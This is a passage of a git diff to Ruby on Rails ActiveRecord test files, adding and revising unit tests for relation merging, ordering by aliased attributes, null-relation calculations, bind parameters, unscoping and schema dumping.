@@ -171,8 +185,12 @@ module ActiveRecord
     end
 
     test 'merging a hash interpolates conditions' do
-      klass = stub_everything
-      klass.stubs(:sanitize_sql).with(['foo = ?', 'bar']).returns('foo = bar')
+      klass = Class.new(FakeKlass) do
+        def self.sanitize_sql(args)
+          raise unless args == ['foo = ?', 'bar']
+          'foo = bar'
+        end
+      end
 
       relation = Relation.new(klass, :b)
       relation.merge!(where: ['foo = ?', 'bar'])
@@ -193,11 +211,21 @@ module ActiveRecord
       assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
     end
 
+    def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
+      post = Post.create!(title: "haha", body: "huhu")
+      comment = post.comments.create!(body: "hu")
+      3.times { comment.ratings.create! }
+
+      relation = Post.joins(:comments).merge Comment.joins(:ratings)
+
+      assert_equal 3, relation.where(id: post.id).pluck(:id).size
+    end
+
     def test_respond_to_for_non_selected_element
       post = Post.select(:title).first
       assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
 
-      post = Post.select("'title' as post_title").first
+      silence_warnings { post = Post.select("'title' as post_title").first }
       assert_equal false, post.respond_to?(:title), "post should not respond_to?(:body) since invoking it raises exception"
     end
 
@@ -208,121 +236,4 @@ module ActiveRecord
       assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
     end
   end
-
-  class RelationMutationTest < ActiveSupport::TestCase
-    class FakeKlass < Struct.new(:table_name, :name)
-      def arel_table
-        Post.arel_table
-      end
-    end
-
-    def relation
-      @relation ||= Relation.new FakeKlass.new('posts'), :b
-    end
-
-    (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order]).each do |method|
-      test "##{method}!" do
-        assert relation.public_send("#{method}!", :foo).equal?(relation)
-        assert_equal [:foo], relation.public_send("#{method}_values")
-      end
-    end
-
-    test "#order!" do
-      assert relation.order!('name ASC').equal?(relation)
-      assert_equal ['name ASC'], relation.order_values
-    end
-
-    test "#order! with symbol prepends the table name" do
-      assert relation.order!(:name).equal?(relation)
-      node = relation.order_values.first
-      assert node.ascending?
-      assert_equal :name, node.expr.name
-      assert_equal "posts", node.expr.relation.name
-    end
-
-    test '#references!' do
-      assert relation.references!(:foo).equal?(relation)
-      assert relation.references_values.include?('foo')
-    end
-
-    test 'extending!' do
-      mod, mod2 = Module.new, Module.new
-
-      assert relation.extending!(mod).equal?(relation)
-      assert_equal [mod], relation.extending_values
-      assert relation.is_a?(mod)
-
-      relation.extending!(mod2)
-      assert_equal [mod, mod2], relation.extending_values
-    end
-
-    test 'extending! with empty args' do
-      relation.extending!
-      assert_equal [], relation.extending_values
-    end
-
-    (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
-      test "##{method}!" do
-        assert relation.public_send("#{method}!", :foo).equal?(relation)
-        assert_equal :foo, relation.public_send("#{method}_value")
-      end
-    end
-
-    test '#from!' do
-      assert relation.from!('foo').equal?(relation)
-      assert_equal ['foo', nil], relation.from_value
-    end
-
-    test '#lock!' do
-      assert relation.lock!('foo').equal?(relation)
-      assert_equal 'foo', relation.lock_value
-    end
-
-    test '#reorder!' do
-      relation = self.relation.order('foo')
-
-      assert relation.reorder!('bar').equal?(relation)
-      assert_equal ['bar'], relation.order_values
-      assert relation.reordering_value
-    end
-
-    test 'reverse_order!' do
-      assert relation.reverse_order!.equal?(relation)
-      assert relation.reverse_order_value
-      relation.reverse_order!
-      assert !relation.reverse_order_value
-    end
-
-    test 'create_with!' do
-      assert relation.create_with!(foo: 'bar').equal?(relation)
-      assert_equal({foo: 'bar'}, relation.create_with_value)
-    end
-
-    test 'merge!' do
-      assert relation.merge!(where: :foo).equal?(relation)
-      assert_equal [:foo], relation.where_values
-    end
-
-    test 'merge with a proc' do
-      assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
-    end
-
-    test 'none!' do
-      assert relation.none!.equal?(relation)
-      assert_equal [NullRelation], relation.extending_values
-      assert relation.is_a?(NullRelation)
-    end
-
-    test "distinct!" do
-      relation.distinct! :foo
-      assert_equal :foo, relation.distinct_value
-      assert_equal :foo, relation.uniq_value # deprecated access
-    end
-
-    test "uniq! was replaced by distinct!" do
-      relation.uniq! :foo
-      assert_equal :foo, relation.distinct_value
-      assert_equal :foo, relation.uniq_value # deprecated access
-    end
-  end
 end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index 2cfab6a..68c85e9 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -14,6 +14,7 @@ require 'models/car'
 require 'models/engine'
 require 'models/tyre'
 require 'models/minivan'
+require 'models/aircraft'
 
 
 class RelationTest < ActiveRecord::TestCase
@@ -42,6 +43,11 @@ class RelationTest < ActiveRecord::TestCase
   end
 
   def test_two_scopes_with_includes_should_not_drop_any_include
+    # heat habtm cache
+    car = Car.incl_engines.incl_tyres.first
+    car.tyres.length
+    car.engines.length
+
     car = Car.incl_engines.incl_tyres.first
     assert_no_queries { car.tyres.length }
     assert_no_queries { car.engines.length }
@@ -60,7 +66,7 @@ class RelationTest < ActiveRecord::TestCase
   def test_scoped
     topics = Topic.all
     assert_kind_of ActiveRecord::Relation, topics
-    assert_equal 4, topics.size
+    assert_equal 5, topics.size
   end
 
   def test_to_json
@@ -81,14 +87,14 @@ class RelationTest < ActiveRecord::TestCase
   def test_scoped_all
     topics = Topic.all.to_a
     assert_kind_of Array, topics
-    assert_no_queries { assert_equal 4, topics.size }
+    assert_no_queries { assert_equal 5, topics.size }
   end
 
   def test_loaded_all
     topics = Topic.all
 
     assert_queries(1) do
-      2.times { assert_equal 4, topics.to_a.size }
+      2.times { assert_equal 5, topics.to_a.size }
     end
 
     assert topics.loaded?
@@ -146,6 +152,14 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal relation.to_a, Comment.select('a.*').from(relation, :a).to_a
   end
 
+  def test_finding_with_subquery_without_select_does_not_change_the_select
+    relation = Topic.where(approved: true)
+    assert_raises(ActiveRecord::StatementInvalid) do
+      Topic.from(relation).to_a
+    end
+  end
+
+
   def test_finding_with_conditions
     assert_equal ["David"], Author.where(:name => 'David').map(&:name)
     assert_equal ['Mary'],  Author.where(["name = ?", 'Mary']).map(&:name)
@@ -154,31 +168,31 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_finding_with_order
     topics = Topic.order('id')
-    assert_equal 4, topics.to_a.size
+    assert_equal 5, topics.to_a.size
     assert_equal topics(:first).title, topics.first.title
   end
 
 
   def test_finding_with_arel_order
     topics = Topic.order(Topic.arel_table[:id].asc)
-    assert_equal 4, topics.to_a.size
+    assert_equal 5, topics.to_a.size
     assert_equal topics(:first).title, topics.first.title
   end
 
   def test_finding_with_assoc_order
     topics = Topic.order(:id => :desc)
-    assert_equal 4, topics.to_a.size
-    assert_equal topics(:fourth).title, topics.first.title
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
   end
 
   def test_finding_with_reverted_assoc_order
     topics = Topic.order(:id => :asc).reverse_order
-    assert_equal 4, topics.to_a.size
-    assert_equal topics(:fourth).title, topics.first.title
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
   end
 
   def test_order_with_hash_and_symbol_generates_the_same_sql
-    assert_equal Topic.order(:id).to_sql, Topic.order(id: :asc).to_sql
+    assert_equal Topic.order(:id).to_sql, Topic.order(:id => :asc).to_sql
   end
 
   def test_raising_exception_on_invalid_hash_params
@@ -187,19 +201,43 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_finding_last_with_arel_order
     topics = Topic.order(Topic.arel_table[:id].asc)
-    assert_equal topics(:fourth).title, topics.last.title
+    assert_equal topics(:fifth).title, topics.last.title
   end
 
   def test_finding_with_order_concatenated
     topics = Topic.order('author_name').order('title')
-    assert_equal 4, topics.to_a.size
+    assert_equal 5, topics.to_a.size
     assert_equal topics(:fourth).title, topics.first.title
   end
 
+  def test_finding_with_order_by_aliased_attributes
+    topics = Topic.order(:heading)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_order_by_aliased_attributes
+    topics = Topic.order(heading: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:third).title, topics.first.title
+  end
+
   def test_finding_with_reorder
     topics = Topic.order('author_name').order('title').reorder('id').to_a
     topics_titles = topics.map{ |t| t.title }
-    assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day'], topics_titles
+    assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day', 'The Fifth Topic of the day'], topics_titles
+  end
+
+  def test_finding_with_reorder_by_aliased_attributes
+    topics = Topic.order('author_name').reorder(:heading)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:fifth).title, topics.first.title
+  end
+
+  def test_finding_with_assoc_reorder_by_aliased_attributes
+    topics = Topic.order('author_name').reorder(heading: :desc)
+    assert_equal 5, topics.to_a.size
+    assert_equal topics(:third).title, topics.first.title
   end
 
   def test_finding_with_order_and_take
@@ -289,8 +327,9 @@ class RelationTest < ActiveRecord::TestCase
 
   def test_null_relation_calculations_methods
     assert_no_queries do
-      assert_equal 0,     Developer.none.count
-      assert_equal nil,   Developer.none.calculate(:average, 'salary')
+      assert_equal 0, Developer.none.count
+      assert_equal 0, Developer.none.calculate(:count, nil, {})
+      assert_equal nil, Developer.none.calculate(:average, 'salary')
     end
   end
 
@@ -303,6 +342,60 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal({ 'salary' => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
   end
 
+  def test_null_relation_sum
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:id).sum(:id)
+    assert_equal        0, ac.engines.count
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:id).sum(:id)
+    assert_equal        0, ac.engines.count
+  end
+
+  def test_null_relation_count
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:id).count
+    assert_equal        0, ac.engines.count
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:id).count
+    assert_equal        0, ac.engines.count
+  end
+
+  def test_null_relation_size
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:id).size
+    assert_equal        0, ac.engines.size
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:id).size
+    assert_equal        0, ac.engines.size
+  end
+
+  def test_null_relation_average
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
+    assert_equal        nil, ac.engines.average(:id)
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:car_id).average(:id)
+    assert_equal        nil, ac.engines.average(:id)
+  end
+
+  def test_null_relation_minimum
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
+    assert_equal        nil, ac.engines.minimum(:id)
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:car_id).minimum(:id)
+    assert_equal        nil, ac.engines.minimum(:id)
+  end
+
+  def test_null_relation_maximum
+    ac = Aircraft.new
+    assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
+    assert_equal        nil, ac.engines.maximum(:id)
+    ac.save
+    assert_equal Hash.new, ac.engines.group(:car_id).maximum(:id)
+    assert_equal        nil, ac.engines.maximum(:id)
+  end
+
   def test_joins_with_nil_argument
     assert_nothing_raised { DependentFirm.joins(nil).first }
   end
@@ -382,7 +475,7 @@ class RelationTest < ActiveRecord::TestCase
   def test_respond_to_dynamic_finders
     relation = Topic.all
 
-    ["find_by_title", "find_by_title_and_author_name", "find_or_create_by_title", "find_or_initialize_by_title_and_author_name"].each do |method|
+    ["find_by_title", "find_by_title_and_author_name"].each do |method|
       assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
     end
   end
@@ -503,6 +596,20 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal Post.find(1).last_comment, post.last_comment
   end
 
+  def test_to_sql_on_eager_join
+    expected = assert_sql {
+      Post.eager_load(:last_comment).order('comments.id DESC').to_a
+    }.first
+    actual = Post.eager_load(:last_comment).order('comments.id DESC').to_sql
+    assert_equal expected, actual
+  end
+
+  def test_to_sql_on_scoped_proxy
+    auth = Author.first
+    Post.where("1=1").written_by(auth)
+    assert_not auth.posts.to_sql.include?("1=1")
+  end
+
   def test_loading_with_one_association_with_non_preload
     posts = Post.eager_load(:last_comment).order('comments.id DESC')
     post = posts.find { |p| p.id == 1 }
@@ -748,6 +855,16 @@ class RelationTest < ActiveRecord::TestCase
     assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
   end
 
+  def test_select_with_aggregates
+    posts = Post.select(:title, :body)
+
+    assert_equal 11, posts.count(:all)
+    assert_equal 11, posts.size
+    assert posts.any?
+    assert posts.many?
+    assert_not posts.empty?
+  end
+
   def test_select_takes_a_variable_list_of_args
     david = developers(:david)
 
@@ -756,77 +873,15 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal david.salary, developer.salary
   end
 
-  def test_select_argument_error
-    assert_raises(ArgumentError) { Developer.select }
-  end
-
-  def test_relation_merging
-    devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
-    assert_equal [developers(:david), developers(:jamis)], devs.to_a
-
-    dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
-    assert_equal [developers(:poor_jamis)], dev_with_count.to_a
-  end
-
-  def test_relation_to_sql
-    sql = Post.connection.unprepared_statement do
-      Post.first.comments.to_sql
-    end
-    assert_no_match(/\?/, sql)
-  end
-
-  def test_relation_merging_with_arel_equalities_keeps_last_equality
-    devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
-      Developer.where(Developer.arel_table[:salary].eq(9000))
-    )
-    assert_equal [developers(:poor_jamis)], devs.to_a
-  end
-
-  def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
-    salary_attr = Developer.arel_table[:salary]
-    devs = Developer.where(
-      Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
-    ).merge(
-      Developer.where(
-        Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
-      )
-    )
-    assert_equal [developers(:poor_jamis)], devs.to_a
-  end
-
-  def test_relation_merging_with_eager_load
-    relations = []
-    relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
-    relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
+  def test_select_takes_an_aliased_attribute
+    first = topics(:first)
 
-    relations.each do |posts|
-      post = posts.find { |p| p.id == 1 }
-      assert_equal Post.find(1).last_comment, post.last_comment
-    end
+    topic = Topic.where(id: first.id).select(:heading).first
+    assert_equal first.heading, topic.heading
   end
 
-  def test_relation_merging_with_locks
-    devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
-    assert devs.locked.present?
-  end
-
-  def test_relation_merging_with_preload
-    [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
-      assert_queries(2) { assert posts.first.author }
-    end
-  end
-
-  def test_relation_merging_with_joins
-    comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
-    assert_equal 1, comments.count
-  end
-
-  def test_relation_merging_with_association
-    assert_queries(2) do  # one for loading post, and another one merged query
-      post = Post.where(:body => 'Such a lovely day').first
-      comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
-      assert_equal 1, comments.count
-    end
+  def test_select_argument_error
+    assert_raises(ArgumentError) { Developer.select }
   end
 
   def test_count
@@ -840,6 +895,17 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal 9, posts.where(:comments_count => 0).count
   end
 
+  def test_count_on_association_relation
+    author = Author.last
+    another_author = Author.first
+    posts = Post.where(author_id: author.id)
+
+    assert_equal author.posts.where(author_id: author.id).size, posts.count
+
+    assert_equal 0, author.posts.where(author_id: another_author.id).size
+    assert author.posts.where(author_id: another_author.id).empty?
+  end
+
   def test_count_with_distinct
     posts = Post.all
 
@@ -1260,33 +1326,12 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal "id", Post.all.primary_key
   end
 
-  def test_eager_loading_with_conditions_on_joins
-    scope = Post.includes(:comments)
-
-    # This references the comments table, and so it should cause the comments to be eager
-    # loaded via a JOIN, rather than by subsequent queries.
-    scope = scope.joins(
-      Post.arel_table.create_join(
-        Post.arel_table,
-        Post.arel_table.create_on(Comment.arel_table[:id].eq(3))
-      )
-    )
-
+  def test_disable_implicit_join_references_is_deprecated
     assert_deprecated do
-      assert scope.eager_loading?
+      ActiveRecord::Base.disable_implicit_join_references = true
     end
   end
 
-  def test_turn_off_eager_loading_with_conditions_on_joins
-    original_value = ActiveRecord::Base.disable_implicit_join_references
-    ActiveRecord::Base.disable_implicit_join_references = true
-
-    scope = Topic.where(author_email_address: 'my.example at gmail.com').includes(:replies)
-    assert_not scope.eager_loading?
-  ensure
-    ActiveRecord::Base.disable_implicit_join_references = original_value
-  end
-
   def test_ordering_with_extra_spaces
     assert_equal authors(:david), Author.order('id DESC , name DESC').last
   end
@@ -1379,6 +1424,14 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal ['comments'], scope.references_values
   end
 
+  def test_automatically_added_where_not_references
+    scope = Post.where.not(comments: { body: "Bla" })
+    assert_equal ['comments'], scope.references_values
+
+    scope = Post.where.not('comments.body' => 'Bla')
+    assert_equal ['comments'], scope.references_values
+  end
+
   def test_automatically_added_having_references
     scope = Post.having(:comments => { :body => "Bla" })
     assert_equal ['comments'], scope.references_values
@@ -1405,6 +1458,24 @@ class RelationTest < ActiveRecord::TestCase
     assert_equal [], scope.references_values
   end
 
+  def test_automatically_added_reorder_references
+    scope = Post.reorder('comments.body')
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder('comments.body', 'yaks.body')
+    assert_equal %w(comments yaks), scope.references_values
+
+    # Don't infer yaks, let's not go down that road again...
+    scope = Post.reorder('comments.body, yaks.body')
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder('comments.body asc')
+    assert_equal %w(comments), scope.references_values
+
+    scope = Post.reorder('foo(comments.body)')
+    assert_equal [], scope.references_values
+  end
+
   def test_presence
     topics = Topic.all
 
@@ -1558,55 +1629,67 @@ class RelationTest < ActiveRecord::TestCase
     end
   end
 
+  test "joins with select" do
+    posts = Post.joins(:author).select("id", "authors.author_address_id").order("posts.id").limit(3)
+    assert_equal [1, 2, 4], posts.map(&:id)
+    assert_equal [1, 1, 1], posts.map(&:author_address_id)
+  end
+
   test "delegations do not leak to other classes" do
     Topic.all.by_lifo
     assert Topic.all.class.method_defined?(:by_lifo)
     assert !Post.all.respond_to?(:by_lifo)
   end
 
-  class OMGTopic < ActiveRecord::Base
-    self.table_name = 'topics'
+  def test_unscope_removes_binds
+    left  = Post.where(id: Arel::Nodes::BindParam.new('?'))
+    column = Post.columns_hash['id']
+    left.bind_values += [[column, 20]]
 
-    def self.__omg__
-      "omgtopic"
-    end
+    relation = left.unscope(where: :id)
+    assert_equal [], relation.bind_values
   end
 
-  test "delegations do not clash across classes" do
-    begin
-      class ::Array
-        def __omg__
-          "array"
-        end
-      end
+  def test_merging_removes_rhs_bind_parameters
+    left  = Post.where(id: Arel::Nodes::BindParam.new('?'))
+    column = Post.columns_hash['id']
+    left.bind_values += [[column, 20]]
+    right   = Post.where(id: 10)
 
-      assert_equal "array",    Topic.all.__omg__
-      assert_equal "omgtopic", OMGTopic.all.__omg__
-    ensure
-      Array.send(:remove_method, :__omg__)
-    end
+    merged = left.merge(right)
+    assert_equal [], merged.bind_values
   end
 
-  test "merge collapses wheres from the LHS only" do
-    left  = Post.where(title: "omg").where(comments_count: 1)
-    right = Post.where(title: "wtf").where(title: "bbq")
+  def test_merging_keeps_lhs_bind_parameters
+    column = Post.columns_hash['id']
+    binds = [[column, 20]]
 
-    expected = [left.where_values[1]] + right.where_values
-    merged   = left.merge(right)
+    right  = Post.where(id: Arel::Nodes::BindParam.new('?'))
+    right.bind_values += binds
+    left   = Post.where(id: 10)
 
-    assert_equal expected, merged.where_values
-    assert !merged.to_sql.include?("omg")
-    assert merged.to_sql.include?("wtf")
-    assert merged.to_sql.include?("bbq")
+    merged = left.merge(right)
+    assert_equal binds, merged.bind_values
   end
 
-  def test_merging_removes_lhs_bind_parameters
-    left  = Post.where(id: Arel::Nodes::BindParam.new('?'))
-    column = Post.columns_hash['id']
-    left.bind_values += [[column, 20]]
-    right   = Post.where(id: 10)
+  def test_merging_reorders_bind_params
+    post         = Post.first
+    id_column    = Post.columns_hash['id']
+    title_column = Post.columns_hash['title']
+
+    bv = Post.connection.substitute_at id_column, 0
+
+    right  = Post.where(id: bv)
+    right.bind_values += [[id_column, post.id]]
+
+    left   = Post.where(title: bv)
+    left.bind_values += [[title_column, post.title]]
 
     merged = left.merge(right)
-    assert_equal [], merged.bind_values
+    assert_equal post, merged.first
+  end
+
+  def test_relation_join_method
+    assert_equal 'Thank you for the welcome,Thank you again for the welcome', Post.first.comments.join(",")
   end
 end
diff --git a/activerecord/test/cases/result_test.rb b/activerecord/test/cases/result_test.rb
new file mode 100644
index 0000000..2131b32
--- /dev/null
+++ b/activerecord/test/cases/result_test.rb
@@ -0,0 +1,40 @@
+require "cases/helper"
+
+module ActiveRecord
+  class ResultTest < ActiveRecord::TestCase
+    def result
+      Result.new(['col_1', 'col_2'], [
+        ['row 1 col 1', 'row 1 col 2'],
+        ['row 2 col 1', 'row 2 col 2'],
+        ['row 3 col 1', 'row 3 col 2'],
+      ])
+    end
+
+    def test_to_hash_returns_row_hashes
+      assert_equal [
+        {'col_1' => 'row 1 col 1', 'col_2' => 'row 1 col 2'},
+        {'col_1' => 'row 2 col 1', 'col_2' => 'row 2 col 2'},
+        {'col_1' => 'row 3 col 1', 'col_2' => 'row 3 col 2'},
+      ], result.to_hash
+    end
+
+    def test_each_with_block_returns_row_hashes
+      result.each do |row|
+        assert_equal ['col_1', 'col_2'], row.keys
+      end
+    end
+
+    def test_each_without_block_returns_an_enumerator
+      result.each.with_index do |row, index|
+        assert_equal ['col_1', 'col_2'], row.keys
+        assert_kind_of Integer, index
+      end
+    end
+
+    if Enumerator.method_defined? :size
+      def test_each_without_block_returns_a_sized_enumerator
+        assert_equal 3, result.each.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
index 766b2ff..954eab8 100644
--- a/activerecord/test/cases/sanitize_test.rb
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -46,4 +46,9 @@ class SanitizeTest < ActiveRecord::TestCase
     select_author_sql = Post.send(:sanitize_sql_array, ['id in (:post_ids)', post_ids: david_posts])
     assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for named bind variables')
   end
+
+  def test_sanitize_sql_array_handles_empty_statement
+    select_author_sql = Post.send(:sanitize_sql_array, [''])
+    assert_equal('', select_author_sql)
+  end
 end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index 1ee8e60..c085663 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -190,6 +190,8 @@ class SchemaDumperTest < ActiveRecord::TestCase
       assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition
     elsif current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
       assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition
+    elsif current_adapter?(:SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index?
+      assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "rating > 10"', index_definition
     else
       assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition
     end
@@ -252,19 +254,20 @@ class SchemaDumperTest < ActiveRecord::TestCase
       assert_match %r{t.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output
     end
 
-    def test_schema_dump_includes_extensions
-      connection = ActiveRecord::Base.connection
-      skip unless connection.supports_extensions?
+    if ActiveRecord::Base.connection.supports_extensions?
+      def test_schema_dump_includes_extensions
+        connection = ActiveRecord::Base.connection
 
-      connection.stubs(:extensions).returns(['hstore'])
-      output = standard_dump
-      assert_match "# These are extensions that must be enabled", output
-      assert_match %r{enable_extension "hstore"}, output
+        connection.stubs(:extensions).returns(['hstore'])
+        output = standard_dump
+        assert_match "# These are extensions that must be enabled", output
+        assert_match %r{enable_extension "hstore"}, output
 
-      connection.stubs(:extensions).returns([])
-      output = standard_dump
-      assert_no_match "# These are extensions that must be enabled", output
-      assert_no_match %r{enable_extension}, output
+        connection.stubs(:extensions).returns([])
+        output = standard_dump
+        assert_no_match "# These are extensions that must be enabled", output
+        assert_no_match %r{enable_extension}, output
+      end
     end
 
     def test_schema_dump_includes_xml_shorthand_definition
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
index 11578ce..9a4d8c6 100644
--- a/activerecord/test/cases/scoping/default_scoping_test.rb
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -54,9 +54,14 @@ class DefaultScopingTest < ActiveRecord::TestCase
     assert_equal 'Jamis', DeveloperCalledJamis.create!.name
   end
 
-  def test_default_scoping_with_threads
-    2.times do
-      Thread.new { assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC') }.join
+  unless in_memory_db?
+    def test_default_scoping_with_threads
+      2.times do
+        Thread.new {
+          assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC')
+          DeveloperOrderedBySalary.connection.close
+        }.join
+      end
     end
   end
 
@@ -98,7 +103,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
 
   def test_unscope_overrides_default_scope
     expected = Developer.all.collect { |dev| [dev.name, dev.id] }
-    received = Developer.order('name ASC, id DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+    received = DeveloperCalledJamis.unscope(:where).collect { |dev| [dev.name, dev.id] }
     assert_equal expected, received
   end
 
@@ -117,17 +122,25 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_unscope_with_where_attributes
-    expected = Developer.order('salary DESC').collect { |dev| dev.name }
-    received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect { |dev| dev.name }
+    expected = Developer.order('salary DESC').collect(&:name)
+    received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect(&:name)
     assert_equal expected, received
 
-    expected_2 = Developer.order('salary DESC').collect { |dev| dev.name }
-    received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect { |dev| dev.name }
+    expected_2 = Developer.order('salary DESC').collect(&:name)
+    received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect(&:name)
     assert_equal expected_2, received_2
 
-    expected_3 = Developer.order('salary DESC').collect { |dev| dev.name }
-    received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect { |dev| dev.name }
+    expected_3 = Developer.order('salary DESC').collect(&:name)
+    received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect(&:name)
     assert_equal expected_3, received_3
+
+    expected_4 = Developer.order('salary DESC').collect(&:name)
+    received_4 = DeveloperOrderedBySalary.where.not("name" => "Jamis").unscope(where: :name).collect(&:name)
+    assert_equal expected_4, received_4
+
+    expected_5 = Developer.order('salary DESC').collect(&:name)
+    received_5 = DeveloperOrderedBySalary.where.not("name" => ["Jamis", "David"]).unscope(where: :name).collect(&:name)
+    assert_equal expected_5, received_5
   end
 
   def test_unscope_multiple_where_clauses
@@ -136,6 +149,16 @@ class DefaultScopingTest < ActiveRecord::TestCase
     assert_equal expected, received
   end
 
+  def test_unscope_string_where_clauses_involved
+    dev_relation = Developer.order('salary DESC').where("created_at > ?", 1.year.ago)
+    expected = dev_relation.collect { |dev| dev.name }
+
+    dev_ordered_relation = DeveloperOrderedBySalary.where(name: 'Jamis').where("created_at > ?", 1.year.ago)
+    received = dev_ordered_relation.unscope(where: [:name]).collect { |dev| dev.name }
+
+    assert_equal expected, received
+  end
+
   def test_unscope_with_grouping_attributes
     expected = Developer.order('salary DESC').collect { |dev| dev.name }
     received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect { |dev| dev.name }
@@ -153,9 +176,8 @@ class DefaultScopingTest < ActiveRecord::TestCase
   end
 
   def test_order_to_unscope_reordering
-    expected = DeveloperOrderedBySalary.all.collect { |dev| [dev.name, dev.id] }
-    received = DeveloperOrderedBySalary.order('salary DESC, name ASC').reverse_order.unscope(:order).collect { |dev| [dev.name, dev.id] }
-    assert_equal expected, received
+    scope = DeveloperOrderedBySalary.order('salary DESC, name ASC').reverse_order.unscope(:order)
+    assert !(scope.to_sql =~ /order/i)
   end
 
   def test_unscope_reverse_order
@@ -166,7 +188,7 @@ class DefaultScopingTest < ActiveRecord::TestCase
 
   def test_unscope_select
     expected = Developer.order('salary ASC').collect { |dev| dev.name }
-    received = Developer.order('salary DESC').reverse_order.select(:name => "Jamis").unscope(:select).collect { |dev| dev.name }
+    received = Developer.order('salary DESC').reverse_order.select(:name).unscope(:select).collect { |dev| dev.name }
     assert_equal expected, received
 
     expected_2 = Developer.all.collect { |dev| dev.id }
@@ -250,6 +272,12 @@ class DefaultScopingTest < ActiveRecord::TestCase
     end
   end
 
+  def test_unscope_merging
